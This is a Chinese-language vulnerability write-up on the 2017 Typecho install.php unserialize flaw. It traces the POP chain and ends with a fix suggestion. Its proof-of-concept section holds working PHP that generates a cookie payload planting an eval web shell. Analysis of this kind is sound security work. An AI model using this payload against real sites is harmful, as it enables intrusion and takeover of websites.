群里听说了typecho有后门,而且是在install.php。惊了,这个文件上个月还专门看过一次。

10.27
对于是不是后门,我一直持保留态度,因此题目中的“后门”也是打上了引号的。目前,作者已经给出相应的回应,希望大家理性看待。
关于最近的 Typecho 安全漏洞

0x01 分析

漏洞点位于下图,只要get参数里面设置了finish且referer改成同源的就能进入到这个语句块。
install.php
IMG20171025_111746.png

可以看到我们可控的cookie内容__typecho_config经过简单的base64解码以后就直接被反序列化了。php反序列化能够被利用需要满足两个条件,1是反序列化的内容可控,2是存在pop链。第一个条件已经达成,我们继续深入看看有没有可以利用的pop链。

上图中实例化了Typecho_Db这个类,看看它的构造函数。发现$adapterName存在字符串拼接,于是全局搜索__toString方法。
Db.php
IMG20171025_112430.png

__toString()当对象被当成字符串使用时会调用内部的该方法。

Feed.php中的Typecho_Feed类实现了__toString()
Feed.php
IMG20171025_113950.png

里面有这么一句代码

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

调用某对象无法访问的属性时会触发该类中的魔术方法_get()。无法访问的属性包括两类:不存在的属性、私有属性。如果$item['author']为对象,且不存在screenName属性,该方法就会触发。

__get()用于从不可访问的属性读取数据。

寻找到Typecho_Request类实现了_get(),经过两层调用了_applyFilter(),而这个函数里面有个醒目的call_user_func()。

Request.php
IMG20171025_114255.png
IMG20171025_114306.png
IMG20171025_114641.png

0x02 POC构造

<?php
class Typecho_Feed{
    const RSS2 = "RSS 2.0";

    private $_type;
    private $_version;
    private $_charset;
    private $_lang;
    private $_items = array();

    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array('screenName' => "file_put_contents('c.php', '<?php eval(\$_POST[1]);//123123?>')");
    private $_filter = array('assert');
}

$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'th1s');
echo base64_encode(serialize($exp));
?>

IMG20171025_144336.png

0x03 修复建议

删除install.php

0x04 附录

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发